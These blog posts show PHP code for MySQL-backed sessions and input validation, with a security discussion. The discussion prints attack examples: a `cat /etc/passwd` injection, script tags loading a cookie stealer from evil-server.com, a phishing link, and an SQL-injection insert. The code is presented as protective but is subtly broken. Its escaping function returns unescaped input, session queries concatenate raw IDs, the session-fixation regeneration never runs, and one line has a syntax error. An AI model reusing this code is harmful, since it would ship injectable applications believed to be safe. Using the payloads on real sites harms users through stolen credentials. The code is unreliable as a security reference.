Showing posts with label database sessions. Show all posts
Showing posts with label database sessions. Show all posts

Session management

Talking about sessions

Lets talk a minute about a common method of authentication tracking for web applications. Sessions. A session is a server side file, database and/or variable management which a developer can utilize to ensure a user has authenticated and remains a valid authenticated user. I am not going to talk about the dynamics or the best option to utilize here as it is beyond the scope of this document but I do recommend doing your research before starting a project as there are pro's and con's to each method of session management.

Here we are going to present an method of utilizing sessions and storage within a MySQL database. The reason this we decided to forgo the performance boosts of utilizing the mcache or default file based session management is due to our web hosting provider utilizing a shared directory where file based session management gets intermingled with other users, and they do not support the mcache daemon.

Below is the database structure for our database.

Session management table

CREATE TABLE `sessions` (
  `session_id` varchar(32) NOT NULL default '',
  `http_user_agent` varchar(32) NOT NULL default '',
  `session_data` blob NOT NULL,
  `session_expire` int(11) NOT NULL default '0',
  UNIQUE KEY `session_id` (`session_id`)
) ENGINE=MyISAM DEFAULT CHARSET=latin1;

Here I am going to provide the PHP class we utilize for our database connections, queries resulting query functions etc.

Database class

class database
{
 var $db;
 var $server;
 var $username;
 var $password;
 var $database;
 var $query;
 var $rows;
 var $array;
 var $num_rows;
 var $affected_rows;
 var $error;
 var $errno;

 function dbConnect( $server, $username, $password, $database )
 {
  $data->db = @mysql_pconnect( $server, $username, $password );
  if( !$data->db ) {
   $data->db = -1;
  } else {
   if( !@mysql_select_db( $database ) ) {
    $data->db = -1;
   }
  }
  return $data->db;
 }

 function dbConnectOnly( $server, $username, $password )
 {
  $data->db = @mysql_pconnect( $server, $username, $password );
  if( !$data->db ) {
   $data->db = -1;
  } else {
   $data->db = 0;
  }
  return $data->db;
 }

 function dbQuery( $query, $db )
 {
  $data->query = @mysql_query( $query, $db );
  if( !$data->query ) {
   $data->query = -1;
  }
  return $data->query;
 }

 function dbNumRows( $id )
 {
  $data->num_rows = @mysql_num_rows( $id );
  if( !$data->num_rows === 0 ) {
   $data->num_rows = -1;
  }
  return $data->num_rows;
 }

 function dbNumRowsAffected( $id )
 {
  $data->affected_rows = @mysql_affected_rows( $id )
  if( !$data->affected_rows === 0 ) {
   $data->affected_rows = -1;
  }
  return $data->affected_rows;
 }

 function dbArrayResults( $sql )
 {
  $data->array = array();
  while( $rows = @mysql_fetch_array( $sql, MYSQL_ASSOC ) ) {
   if( !$rows ) {
    $data->array = -1;
   }
   array_push( $data->array, $rows );
  }
  return $data->array;
 }

 function dbArrayResultsAssoc( $sql )
 {
  $data->array = array();
  while( $rows = @mysql_fetch_assoc( $sql ) ) {
   if( !$rows ) {
    $data->array = -1;
   }
   array_push( $data->array, $rows );
  }
  return $data->array;
 }

 function dbAffectedRows( $sql )
 {
  $rows = @mysql_affected_rows( $sql );
   if( $rows === 0 ) {
    $data->array = -1;
   }
   $data->array = 0;
  return $data->array;
 }

 function dbCatchErrno()
 {
  return @mysql_errno();
 }

 function dbCatchError()
 {
  return @mysql_error();
 }

 function dbFreeData( $sql )
 {
  return @mysql_free_result( $sql );
 }

 function dbCloseConn( $sql )
 {
  return @mysql_close( $sql );
 }

 function dbFixTable( $table, $db )
 {
  @mysql_query( "REPAIR TABLE `" . $table . "`", $db );
  @mysql_query( "OPTIMIZE TABLE `" . $table . "`", $db );
  @mysql_query( "FLUSH TABLE `" . $table . "`", $db );
 }
}

And finally our PHP session handler class. As you can see in the '__construct' function we utilize the 'session_set_save_handler' to modify the default PHP subroutine of using flat file's to store and retrieve our global session variables.

Session management class

class sessions
{
 var $id;
 var $data;
 var $max_time;
 var $dbconn;

 function __construct( $max_time )
 {
  global $defined;
  if( !empty( $max_time ) ) {
   @ini_set( 'session.gc_maxlifetime', $max_time );
  } else {
   @ini_set( 'session.gc_maxlifetime', 3600 );
  }
  session_set_save_handler(
   array( &$this, 'open' ),
   array( &$this, 'close' ),
   array( &$this, 'read' ),
   array( &$this, 'write' ),
   array( &$this, 'destroy' ),
   array( &$this, 'gc' )
  );
  @ini_set( 'cache_limiter', 'private' );
  @ini_set( 'cache_expire', $max_time );
  @ini_set( 'use_cookies', "1" );
  @register_shutdown_function( 'session_write_close' );
  @session_start();
 }

 function register( $name, $data )
 {
  return $_SESSION[$name] = $data;
 }

 function regen( $flag = false )
 {
  if( $flag !== false ) {
   $this->register( 'id', session_id() );
   @session_regenerate_id( $flag );
   $this->id = session_id();
   $this->destroy( $_SESSION['id'] );
  }
  return;
 }

 function reindex()
 {
  global $handles;
  return $handles['db']->dbFixTable( "sessions", $this->dbconn );
 }

 function open( $path, $name )
 {
  global $defined;
  global $handles;
  if( ( $this->dbconn = $handles['db']->dbConnect( $defined['dbhost'], $defined['username'], $defined['password'], $defined['dbname'] ) ) !== -1 ) {
   return true;
  } else {
   return false;
  }
 }

 function close()
 {
  global $defined;
  global $handles;
  $this->reindex();
  $handles['db']->dbFreeData( $this->dbconn );
  $handles['db']->dbCloseConn( $this->dbconn );
  return true;
 }

 function read( $id )
 {
  global $handles;
  $query = "SELECT * FROM `sessions` WHERE `session_id` = \"" . $id . "\" AND `http_user_agent` = \"" . md5( $_SERVER["HTTP_USER_AGENT"] ) . "\" LIMIT 1";
  $result = $handles['db']->dbQuery( $handles['val']->ValidateSQL( $query, $this->dbconn ), $this->dbconn );
  if( ( is_resource( $result ) ) && ( $handles['db']->dbNumRowsAffected( $this->dbconn ) > 0 ) ) {
   $fields = $handles['db']->dbArrayResultsAssoc( $result );
   return stripslashes( unserialize( $fields[0]['session_data'] ) );
  }
  return "";
 }

 function write( $id, $data )
 {
  global $handles;
  $query = "INSERT INTO `sessions` ( `session_id`, `http_user_agent`, `session_data`, `session_expire` ) VALUES ( \"" . $id . "\", \"" . md5( $_SERVER["HTTP_USER_AGENT"] ) . "\", \"" . mysql_real_escape_string( serialize( $data ) ) . "\", \"" . time()  . "\" ) ON DUPLICATE KEY UPDATE `session_id` = \"" . $id . "\", `session_data` = \"" . mysql_real_escape_string( serialize( $data ) ) . "\", `session_expire` = \"" . time() . "\"";
  $result = $handles['db']->dbQuery( $handles['val']->ValidateSQL( $query, $this->dbconn ), $this->dbconn );
  if( ( is_resource( $result ) ) && ( $handles['db']->dbNumRowsAffected( $this->dbconn ) > 0 ) ) {
   $this->reindex();
   return true;
  } else {
   return false;
  }
 }

 function destroy( $id )
 {
  global $handles;
  $query = "DELETE FROM `sessions` WHERE `session_id` = \"" . $id . "\" LIMIT 1";
  $result = $handles['db']->dbQuery($handles['val']->ValidateSQL( $query, $this->dbconn ), $this->dbconn);
  if( ( is_resource( $result ) ) && ( $handles['db']->dbNumRowsAffected( $this->dbconn ) > 0 ) ) {
   $this->reindex();
   return true;
  } else {
   return false;
  }
 }

 function gc( $max_time )
 {
  global $handles;
  $query = "DELETE FROM `sessions` WHERE `session_expire` > \"" . time() - $this->max_time . "\"";
  $result = $handles['db']->dbQuery($handles['val']->ValidateSQL($query, $this->dbconn), $this->dbconn);
  if( ( is_resource( $result ) ) && ( $handles['db']->dbNumRowsAffected( $this->dbconn ) !== -1 ) ) {
   $this->reindex();
   return true;
  }
  return false;
 }
}

Some reasons to utilize a global session variables between your web pages could be to keep a persistent theme, or a specified region code or even to register an authenticated token which will allow your users access to register only data.

Here is a bit of code you can include on your pages to utilize the above classes.

// include the two classes we gave above
include 'class.database.php';
include 'class.sessions.php';

// register a variable as a handle of our database class
if(!is_resource($handles['dbconn'])) { $handles['dbconn'] = new database; }

// check to see if we have an existing session
if((!is_resource($handles['session'])&&(!isset($_SESSION))) { $handles['session'] = new sessions; }

// now register any variable you wish to persist between pages
$_SESSION['variable'] = 'we want this to follow our user from page to page';

And that is it for being able to change PHP's default session save handler from a flat file database to a MySQL database. I also want to mention one thing about the security of using sessions for sensitive data. Having worked with various companies one thing has become blazingly apparent in regards to an attack that first started back in the late 1990's regarding PHP's 'session_id()'. Change it every page your user visits to prevent a common attack known as 'session fixation'. This is very important if you are using server side session variables (whether it be a flat file session handler, a MySQL session handler or even an mcache session handler.

Here is an example to get you started:

// include the two classes we gave above
include 'class.database.php';
include 'class.sessions.php';

// register a variable as a handle of our database class
if(!is_resource($handles['dbconn'])) { $handles['dbconn'] = new database; }

// check to see if we have an existing session
if((!is_resource($handles['session'])&&(!isset($_SESSION))) { $handles['session'] = new sessions; }

// now register any variable you wish to persist between pages
$_SESSION['variable'] = 'we want this to follow our user from page to page';

// prevent session fixation attacks by changing the session_id()
$handles['session']->regen();

Web application security

Background

Having worked with web based technologies for the last 10+ years I have seen quite a few things come into play in regards to web applications. SQL injection, Cross-site scripting, session hijacking etc. etc.

I was contracted by Iomega Corporation back in 2000 to assist in performing white & black box testing on a new shopping cart application for their primary website. Load balancing, basic functionality, advanced functionality, etc.

I was able to complete my basic assessment fairly quickly as most of the basic and advanced functionality required nothing more then to test things like adding items to a cart, browsing for more items etc.

Once I was finished with my test cases I began to try other things in regards to base directory traversals, embedding cookie stealing code, and even methods of hijacking authenticated session tokens by emulating the servers session id strings. At the time these attacks all returned positive results indicating a complete lack of input validation on web forms as well as validations on registered users etc.

To rely on an untrusted web application that processes credit card transactions is to say the least very scary.

Validation of input data

One things I learned very early on is to never trust an end-user. That is not to say all end-users are going to be of malicious intent. Validating any and all input vectors on a web based form will account for those users that are visiting with malicious intent.

These days having an automated bot search your website to dynamically test input validation on is more prevalent then ever. In 2000 when I was performing load balancing on the servers functionality creating a simple script to parse the input fields and attempt blind SQL injection attacks was and still is very easy for anyone that has a little bit of time and coding ability. I do believe the kiddies these days are calling things like this 'fuzzing' or testing a site for strange behaviours that may lead to further attacks on the targeted site.

As I said, validating your input is very important and great place to start your research if you are new to web application development.

Lets say you have a simple contact form in which you wish to have users contact you via email. This is a pretty simple HTML form in which your users could submit information to you and is very common on just about every website on the internet.

<form action="contact.php" method="post" class="contact-form">
 <fieldset>
  <legend>Contact form</legend>
  <div>
   <input type="text" name="name" />
  </div>
  <div>
   <input type="text" name="email" />
  </div>
  <div>
   <textarea name="comments" /></textarea>
  </div>
  <div>
   <input type="submit" name="send" value="Contact" />
  </div>
 </fieldset>
</form>

Very simple and basic form to process feedback from a web page. The action argument to this form will send data to the file 'contact.php'. This file could do a variety of things. It could accept the users input and immediately send an email to the administrator of the webpage, it could place this information within a database or it could do both.

Let me show you an example of using this form to place the information within a MySQL database table. First I will show you the table's structure:

CREATE TABLE `feedback` (
  `id` int(255) NOT NULL auto_increment,
  `date` varchar(25) NOT NULL default '',
  `ip` varchar(80) NOT NULL default '',
  `port` int(255) NOT NULL default '0',
  `name` varchar(45) NOT NULL default '',
  `email` varchar(60) NOT NULL default '',
  `comment` longtext NOT NULL,
  PRIMARY KEY  (`id`),
  UNIQUE KEY `ip` (`ip`)
) ENGINE=MyISAM DEFAULT CHARSET=latin1;

Using this type of database structure you can allow easy access to any comments left using the form described above. Emails may be lost but by utilizing a data storage repository you can account for any comments left for your site's administrators.

Now lets say the file 'contact.php' which is specified as the file which will handle the user input does not validate the input prior to displaying the contents in which the user displayed but also attempted to store the information within the database.

Our user decided to embed some code something similar to the following

<?PHP `cat /etc/passwd`; ?>

Ooops, we now have a list of user name's on the server in which we can use widely available tools to guess or brute force user name and password combinations leading to further attacks such as a kernel module which logs keystrokes and emails the results to our anonymous email account.

Now lets say the user simply wants to embed a javascript file hosted on a remote server which can be used to sniff authentication credentials of any other users visiting the contact form.

<?PHP
echo "<script src=\"http://www.evil-server.com/steal-cookies.js\" /></script>";
?>

Or something even more nefarious like sending mass emails to people with a URL like the following.

<a href="http://www.our-server.com/contact.php?<script src=\"http://www.evil-server.com/steal-cookies.js\" /></script>">Click our link for great coupons!</a>

Because the file processing our contact form does not validate any of the global $_GET or $_POST variables they are welcoming all sorts of possible attacks. One of the more serious is something similar to the following in which we actually embed our javascript file residing on our remote server within the database to be openly processed by any user visiting our website.

--;UNION INSERT INTO `feedback` (`comments`) VALUES ('<a href="http://www.our-server.com/contact.php?<script src=\"http://www.evil-server.com/steal-cookies.js\" /></script>">Click our link for great coupons!</a>');

These are some very simple examples which can assist would be attackers from finding weak spots in your web forms. If you are developing any type of web facing form it is in your best interest to validate your input.

That being said here is a class to handle all sorts of input validation. From strings, alpha-numeric string combinations, integers, phone numbers (US), IP addresses, even SQL and XSS validation.

Data validation class

class validation
{
 var $data;
 var $string;
 var $integer;
 var $alphachar;
 var $money;
 var $phone;
 var $zipcode;
 var $ip_v4;
 var $ip_v6;
 var $mac_address;
 var $domain;
 var $hostname;
 var $paragraph;
 var $password;
 var $uri;
 var $db;
 var $sql;
 var $xss;

 public function ValidateString( $string )
 {
  if( ( eregi( "^[a-z]{1,35}$", $string ) ) || ( empty( $string ) ) ) {
   $data->string = 0;
  } else {
   $data->string = -1;
  }
  return $data->string;
 }

 public function ValidateInteger( $integer )
 {
  if( ( eregi( "^[0-9]{1,20}$", $integer ) ) || ( empty( $integer ) ) ) {
   $data->integer = 0;
  } else {
   $data->integer = -1;
  }
  return $data->integer;
 }

 public function ValidateAlphaChar( $alphachar )
 {
  if( ( eregi( "^[0-9a-z_]{1,45}$", $alphachar ) ) || ( empty( $alphachar ) ) ) {
   $data->alphachar = 0;
  } else {
   $data->alphachar = -1;
  }
  return $data->alphachar;
 }

 public function ValidateMoney( $money )
 {
  if( ( eregi( "^[0-9]{1,4}\.[0-9]{2}$", $money ) ) || ( empty( $money ) ) ) {
   $data->money = 0;
  } else {
   $data->money = -1;
  }
  return $data->money;
 }
 
 public function ValidateDecimal( $decimal )
 {
  if( ( is_numeric( $decimal ) ) || ( empty( $decimal ) ) ) {
   $data->decimal = 0;
  } else {
   $data->decimal = -1;
  }
  return $data->decimal;
 }

 public function ValidatePhone( $phone )
 {
  if( ( eregi( "^[0-9]{3}\-[0-9]{3}\-[0-9]{4}$", $phone ) ) || ( empty( $phone ) ) ) {
   $data->phone = 0;
  } else {
   $data->phone = -1;
  }
  return $data->phone;
 }

 public function ValidateZip( $zipcode )
 {
  if( ( eregi( "^[0-9]{5}$", $zipcode ) ) || ( empty( $zipcode ) ) ) {
   $data->zipcode = 0;
  } else {
   $data->zipcode = -1;
  }
  return $data->zipcode;
 }

 public function ValidateIPv4( $ip_v4 = NULL )
 {
  $ip_v4 = rtrim( $ip_v4 );
  if( ( eregi( "^[0-9]{1,3}\.[0-9]{1,3}\.[0-9]{1,3}\.[0-9]{1,3}$", $ip_v4 ) ) || ( empty( $ip_v4 ) ) ) {
   $data->ip_v4 = 0;
   for( $i = 1; $i <= 3; $i++ ) {
    if( !( substr( $ip_v4, 0, strpos( $ip_v4, "." ) ) >= "0" && substr( $ip_v4, 0, strpos( $ip_v4, "." ) ) <= "255" ) ) {
     $data->ip_v4 = -1;
    }
    $ip_v4 = substr( $ip_v4, strpos( $ip_v4, "." ) + 1 );
   }
   if( !( $ip_v4 >= "0" && $ip_v4 <= "255" ) ) {
    $data->ip_v4 = -1;
   }
  } else {
   $data->ip_v4 = -1;
  }
  return $data->ip_v4;
 }

 public function ValidateIPv6( $ip_v6 )
 {
  $data->ip_v6 = 0;
  return $data->ip_v6;
 }

 function ValidateEmail( $email )
 {
  if( ( eregi( "^[_a-z0-9-]+(\.[_a-z0-9-]+)*@[a-z0-9-]+(\.[a-z0-9-]+)*(\.[a-z]{2,5})$", $email ) ) || ( empty( $email ) ) ) {
   $data = 0;
  } else {
   $data = -1;
  }
  return $data;
 }

 public function ValidateMACFormats( $mac_address = NULL )
 {
  $mac_address = rtrim( $mac_address );
  if( eregi( "^[0-9a-f]{2}\:[0-9a-f]{2}\:[0-9a-f]{2}\:[0-9a-f]{2}\:[0-9a-f]{2}\:[0-9a-f]{2}$", $mac_address ) ) {
   $data->mac_address = $mac_address;
  } elseif( eregi( "^[0-9a-f]{2}\.[0-9a-f]{2}\.[0-9a-f]{2}\.[0-9a-f]{2}\.[0-9a-f]{2}\.[0-9a-f]{2}$", $mac_address ) ) {
   $data->mac_address = $this->FixMACAddr( $mac_address );
  } elseif( eregi( "^[0-9a-f]{2}\-[0-9a-f]{2}\-[0-9a-f]{2}\-[0-9a-f]{2}\-[0-9a-f]{2}\-[0-9a-f]{2}$", $mac_address ) ) {
   $data->mac_address = $this->FixMACAddr( $mac_address );
  } elseif( eregi( "^[0-9a-f]{2}\_[0-9a-f]{2}\_[0-9a-f]{2}\_[0-9a-f]{2}\_[0-9a-f]{2}\_[0-9a-f]{2}$", $mac_address ) ) {
   $data->mac_address = $this->FixMACAddr( $mac_address );
  } elseif( eregi( "^[0-9a-f]{12}$", $mac_address ) ) {
   $data->mac_address = $this->FixMACAddr( $mac_address );
  } elseif( ( eregi( "^[0-9a-z/-/_]{1,35}$", $mac_address ) ) || ( eregi( "^[0-9a-z]{1,35}$", $mac_address ) ) ) {
   $data->mac_address = -1;
  } elseif( eregi( "^[0-9a-z%-_:.]{1,45}$", $mac_address ) ) {
   $data->mac_address = -1;
  } elseif( eregi( "[g-z]", $mac_address ) ) {
   $data->mac_address = -1;
  } else {
   $data->mac_address = -1;
  }
  return $data->mac_address;
 }

 public function FixMACAddr( $mac_address = NULL )
 {
  if( eregi( "^[0-9a-f]{2}\:[0-9a-f]{2}\:[0-9a-f]{2}\:[0-9a-f]{2}\:[0-9a-f]{2}\:[0-9a-f]{2}$", $mac_address ) ) {
   $data->mac_address = $mac_address;
  } elseif( eregi( "^[0-9a-f]{12}$", $mac_address ) ) {
   $data->mac_address = str_split( $mac_address, 2 );
   $data->mac_address = implode( ':', $data->mac_address );
  } elseif( eregi( "^[0-9a-f]{2}\-[0-9a-f]{2}\-[0-9a-f]{2}\-[0-9a-f]{2}\-[0-9a-f]{2}\-[0-9a-f]{2}$", $mac_address ) ) {
   $data->mac_address = str_replace( '-', ':', $mac_address );
  } elseif( eregi( "^[0-9a-f]{2}\_[0-9a-f]{2}\_[0-9a-f]{2}\_[0-9a-f]{2}\_[0-9a-f]{2}\_[0-9a-f]{2}$", $mac_address ) ) {
   $data->mac_address = str_replace( '_', ':', $mac_address );
  } elseif( eregi( "^[0-9a-f]{2}\.[0-9a-f]{2}\.[0-9a-f]{2}\.[0-9a-f]{2}\.[0-9a-f]{2}\.[0-9a-f]{2}$", $mac_address ) ) {
   $data->mac_address = str_replace( '.', ':', $mac_address );
  } elseif( eregi( "[g-z]", $mac_address ) ) {
   $data->mac_address = -1;
  } elseif( !eregi( "^[0-9a-f]{2}\:[0-9a-f]{2}\:[0-9a-f]{2}\:[0-9a-f]{2}\:[0-9a-f]{2}\:[0-9a-f]{2}$", $mac_address ) ) {
   $data->mac_address = -1;
  }
  return $data->mac_address;
 }

 public function ValidateDomain( $domain )
 {
  if( ( eregi( "^[a-z0-9.]+$", $domain ) ) || ( empty( $domain ) ) ) {
   if( ( @checkdnsrr( $domain, "A" ) ) || ( $this->ValidateHostname( $domain ) !== -1 ) || ( $this->ValidateIPv4( $domain ) !== -1 ) || ( $this->ValidateHostnameNonRFC( $domain ) !== -1 ) ) {
    $data->domain = 0;
   } else {
    $data->domain = -1;
   }
  } else {
   $data->domain = -1;
  }
  return $data->domain;
 }

 public function ValidateParagraph( $paragraph )
 { 
  if( ( eregi( "[ -!#$%&\'*+\\./0-9=?A-Z^_`a-z{|}~<>.,]", $paragraph ) ) || ( empty( $paragraph ) ) ) {
   $data->paragraph = 0;
  } else {
   $data->paragraph = -1;
  }
  return $data->paragraph;
 }

 public function ValidatePassword( $password )
 {
  if( ( eregi( "[-!#$%&+.0-9=?A-Z_]", $password ) ) || ( empty( $password ) ) ) {
   $data = 0;
  } else {
   $data = -1;
  }
  return $data;
 }

 public function ValidateDate( $date )
 {
  if( ( eregi( "[0-9]{4}\-[0-9]{2}\-[0-9]{2} [0-9]{2}\:[0-9]{2}\:[0-9]{2}$", $date ) ) || ( empty( $date ) ) ) {
   $data = 0;
  } else {
   $data = -1;
  }
  return $data;
 }

 public function ValidatePasswordFields( $password_1, $password_2 )
 {
  $data = 0;
  if( ( $password_1 !== $password_2 ) || ( strcmp( $password_1, $password_2 ) ) ) {
   $data = -1;
  } else {
   if( !eregi( "^[-!#$@%&\'*+\\./0-9=?A-Z^_`a-z{|}~<>]{5,25}$", $password_1 ) ) {
    $data = -2;
   }
   if( ( $password_1 === "************" ) || ( $password_1 === "************" ) ) {
    $data = -3;
   }
  }
  return $data;
 }
 public function ValidateURI( $uri )
 {
  $prefix = "[[http://]|[https://]]";
  $domain = "([a-z0-9][-[:alnum:]]*[[:alnum:]] )(\.[[:alpha:]][-[:alnum:]]*[[:alpha:]] )+";
  $dir = "(/[[:alpha:]][-[:alnum:]]*[[:alnum:]] )*";
  $page = "(/[[:alpha:]][-[:alnum:]]*\.[[:alpha:]]{3,5})?";
  $getstring = "(\?([[:alnum:]][-_%[:alnum:]]*=[-_%[:alnum:]]+)(&([[:alnum:]][-_%[:alnum:]]*=[-_%[:alnum:]]+) )*)?";
  $pattern = $prefix . $domain . $dir . $page . $getstring;
  if( eregi( $pattern, $uri ) ) {
   $data->uri = 0;
  } else {
   $data->uri = -1;
  }
  return $data->uri;
 }

 public function ValidateSQL( $sql, $db )
 {
  $data = new InputFilter();
  $data->sql = $data->safeSQL( $sql, $db );
  return $data->sql;
 }

 public function ValidateXSS( $xss )
 {
  $data = new InputFilter();
  $data->xss = $data->process( $xss );
  return $data->xss;
 }

 function html2txt( $document ) {
  $search = array('@]*?>.*?@si',
                  '@]*?>.*?@siU',
                  '@<[\/\!]*?[^<>]*?>@si',
                  '@@'
                 );
  $text = preg_replace( $search, '', $document );
  return $text;
 }
}

/*
 * class: InputFilter (PHP5-Strict without comments)
 * contributors: Gianpaolo Racca, Ghislain Picard, Marco Wandschneider, Chris Tobin and Andrew Eddie.
 * copyright: Daniel Morris
 */
class InputFilter {
 protected $tagsArray;
 protected $attrArray;
 protected $tagsMethod;
 protected $attrMethod;
 protected $xssAuto;
 protected $tagBlacklist = array( 'applet', 'body', 'bgsound', 'base', 'basefont', 'embed', 'frame', 'frameset', 'head', 'html', 'id', 'iframe', 'ilayer', 'layer', 'link', 'meta', 'name', 'object', 'script', 'style', 'title', 'xml' );
 protected $attrBlacklist = array( 'action', 'background', 'codebase', 'dynsrc', 'lowsrc' );

 public function __construct( $tagsArray = array(), $attrArray = array(), $tagsMethod = 0, $attrMethod = 0, $xssAuto = 1 ) {
  for( $i = 0; $i < count( $tagsArray ); $i++ ) $tagsArray[$i] = strtolower( $tagsArray[$i] );
  for( $i = 0; $i < count( $attrArray ); $i++ ) $attrArray[$i] = strtolower( $attrArray[$i] );
  $this->tagsArray = ( array ) $tagsArray;
  $this->attrArray = ( array ) $attrArray;
  $this->tagsMethod = $tagsMethod;
  $this->attrMethod = $attrMethod;
  $this->xssAuto = $xssAuto;
 }

 public function process( $source ) {
  if( is_array( $source ) ) {
   foreach( $source as $key => $value )
    if( is_string( $value) ) $source[$key] = $this->remove( $this->decode( $value ) );
   return $source;
  } elseif( is_string( $source ) ) {
   return $this->remove( $this->decode( $source ) );
  } else return $source;
 }

 protected function remove( $source ) {
  $loopCounter=0;
  while( $source != $this->filterTags( $source ) ) {
   $source = $this->filterTags( $source );
   $loopCounter++;
  }
  return $source;
 } 

 protected function filterTags( $source ) {
  $preTag = NULL;
  $postTag = $source;
  $tagOpen_start = strpos( $source, '<' );
  while( $tagOpen_start !== FALSE ) {
   $preTag .= substr( $postTag, 0, $tagOpen_start );
   $postTag = substr( $postTag, $tagOpen_start );
   $fromTagOpen = substr( $postTag, 1 );
   $tagOpen_end = strpos( $fromTagOpen, '>' );
   if( $tagOpen_end === false ) break;
   $tagOpen_nested = strpos( $fromTagOpen, '<' );
   if( ( $tagOpen_nested !== false ) && ( $tagOpen_nested < $tagOpen_end) ) {
    $preTag .= substr( $postTag, 0, ( $tagOpen_nested+1 ) );
    $postTag = substr( $postTag, ( $tagOpen_nested+1 ) );
    $tagOpen_start = strpos( $postTag, '<' );
    continue;
   } 
   $tagOpen_nested = ( strpos( $fromTagOpen, '<' ) + $tagOpen_start + 1 );
   $currentTag = substr( $fromTagOpen, 0, $tagOpen_end );
   $tagLength = strlen( $currentTag );
   if( !$tagOpen_end ) {
    $preTag .= $postTag;
    $tagOpen_start = strpos( $postTag, '<' );
   }
   $tagLeft = $currentTag;
   $attrSet = array( );
   $currentSpace = strpos( $tagLeft, ' ' );
   if(substr( $currentTag, 0, 1) == "/" ) {
    $isCloseTag = TRUE;
    list( $tagName ) = explode( ' ', $currentTag );
    $tagName = substr( $tagName, 1 );
   } else {
    $isCloseTag = FALSE;
    list( $tagName ) = explode( ' ', $currentTag );
   }  
   if( (!preg_match( "/^[a-z][a-z0-9]*$/i", $tagName ) ) || ( !$tagName ) || ( (in_array( strtolower( $tagName ), $this->tagBlacklist ) ) && ( $this->xssAuto ) ) ) {
    $postTag = substr( $postTag, ( $tagLength + 2 ) );
    $tagOpen_start = strpos( $postTag, '<' );
    continue;
   }
   while( $currentSpace !== FALSE ) {
    $fromSpace = substr( $tagLeft, ( $currentSpace + 1 ) );
    $nextSpace = strpos( $fromSpace, ' ' );
    $openQuotes = strpos( $fromSpace, '"' );
    $closeQuotes = strpos( substr( $fromSpace, ( $openQuotes + 1 ) ), '"' ) + $openQuotes + 1;
    if( strpos( $fromSpace, '=' ) !== FALSE ) {
     if( ( $openQuotes !== FALSE ) && ( strpos( substr( $fromSpace, ( $openQuotes + 1 ) ), '"' ) !== FALSE ) ) {
      $attr = substr( $fromSpace, 0, ( $closeQuotes+1 ) );
     } else {
      $attr = substr( $fromSpace, 0, $nextSpace );
     }
    } else {
     $attr = substr( $fromSpace, 0, $nextSpace );
    }
    if( !$attr ) $attr = $fromSpace;
    $attrSet[] = $attr;
    $tagLeft = substr( $fromSpace, strlen( $attr ) );
    $currentSpace = strpos( $tagLeft, ' ' );
   }
   $tagFound = in_array( strtolower( $tagName ), $this->tagsArray );
   if( (!$tagFound && $this->tagsMethod ) || ( $tagFound && !$this->tagsMethod ) ) {
    if( !$isCloseTag ) {
     $attrSet = $this->filterAttr( $attrSet );
     $preTag .= '<' . $tagName;
     for( $i = 0; $i < count( $attrSet ); $i++ )
      $preTag .= ' ' . $attrSet[$i];
      if( strpos( $fromTagOpen, "</" . $tagName ) ) 
       $preTag .= '>';
      } else {
       $preTag .= ' /<';
      }
      $preTag .= '</' . $tagName . '>';
     }
    }
   }
   $postTag = substr( $postTag, ( $tagLength + 2 ) );
   $tagOpen_start = strpos( $postTag, '<' );
  }
  $preTag .= $postTag;
  return $preTag;
 }

 protected function filterAttr( $attrSet ) {
  $newSet = array( );
  for( $i = 0; $i < count( $attrSet ); $i++ ) {
   if( !$attrSet[$i] ) continue;
   $attrSubSet = explode( '=', trim( $attrSet[$i] ) );
   list( $attrSubSet[0] ) = explode( ' ', $attrSubSet[0] );
   if( ( !eregi("^[a-z]*$",$attrSubSet[0] ) ) || ( ( $this->xssAuto ) && ( (in_array( strtolower( $attrSubSet[0] ), $this->attrBlacklist ) ) || ( substr( $attrSubSet[0], 0, 2 ) == 'on' ) ) ) )
    continue;
   if( $attrSubSet[1] ) {
    $attrSubSet[1] = str_replace( '&#', '', $attrSubSet[1] );
    $attrSubSet[1] = preg_replace( '/\s+/', '', $attrSubSet[1] );
    $attrSubSet[1] = str_replace( '"', '', $attrSubSet[1] );
    if( (substr( $attrSubSet[1], 0, 1 ) == "'" ) && ( substr( $attrSubSet[1], ( strlen( $attrSubSet[1] ) - 1 ), 1 ) == "'" ) )
     $attrSubSet[1] = substr( $attrSubSet[1], 1, ( strlen( $attrSubSet[1] ) - 2 ) );
    $attrSubSet[1] = stripslashes( $attrSubSet[1] );
   }
   if( ( ( strpos( strtolower( $attrSubSet[1] ), 'expression' ) !== false ) && ( strtolower( $attrSubSet[0] ) == 'style' ) ) ||
     ( strpos( strtolower( $attrSubSet[1] ), 'javascript:' ) !== false ) ||
     ( strpos( strtolower( $attrSubSet[1] ), 'behaviour:' ) !== false ) ||
     ( strpos( strtolower( $attrSubSet[1] ), 'vbscript:' ) !== false ) ||
     ( strpos( strtolower( $attrSubSet[1] ), 'mocha:' ) !== false ) ||
     ( strpos( strtolower( $attrSubSet[1] ), 'livescript:' ) !== false )
  ) continue;
   $attrFound = in_array( strtolower( $attrSubSet[0] ), $this->attrArray );
   if( (!$attrFound && $this->attrMethod ) || ( $attrFound && !$this->attrMethod) ) {
    if( $attrSubSet[1] ) $newSet[] = $attrSubSet[0] . '="' . $attrSubSet[1] . '"';
    elseif( $attrSubSet[1] == "0") $newSet[] = $attrSubSet[0] . '="0"';
    else $newSet[] = $attrSubSet[0] . '="' . $attrSubSet[0] . '"';
   } 
  }
  return $newSet;
 }

 protected function decode( $source ) {
  $source = html_entity_decode( $source, ENT_QUOTES, "ISO-8859-1" );
  $source = preg_replace( '/&#(\d+ );/me',"chr(\\1)", $source );    // decimal notation
  $source = preg_replace( '/&#x([a-f0-9]+ );/mei',"chr(0x\\1)", $source ); // hex notation
  return $source;
 }

 public function safeSQL( $source, &$connection ) {
  if( is_array( $source ) ) {
   foreach( $source as $key => $value )
    if( is_string( $value) ) $source[$key] = $this->quoteSmart( $this->decode( $value ), $connection );
   return $source;
  } elseif( is_string( $source ) ) {
   if( is_string( $source ) ) return $this->quoteSmart( $this->decode( $source ), $connection );
  } else return $source;
 }

 protected function quoteSmart( $source, &$connection ) {
  if(get_magic_quotes_gpc() ) $source = stripslashes( $source );
  $source = $this->escapeString( $source, $connection );
  return $source;
 }

 protected function escapeString( $string, &$connection ) {
  if( version_compare( phpversion(),"4.3.0", "<" ) ) @mysql_escape_string( $string );
  else @mysql_real_escape_string( $string );
  return $string;
 }
}

A very simple method of using this class to validate any and all global variables would be something like the following on each page of your web application

// include the class and register a handle
require 'class.validate.php';
$val = new validate;

// copy validated globals to localized variables
$get = array_map($val->ValidateXSS, $_GET);
$post = array_map($val->ValidateXSS, $_POST);
$sess = array_map($val->ValidateXSS, $_SESSION);
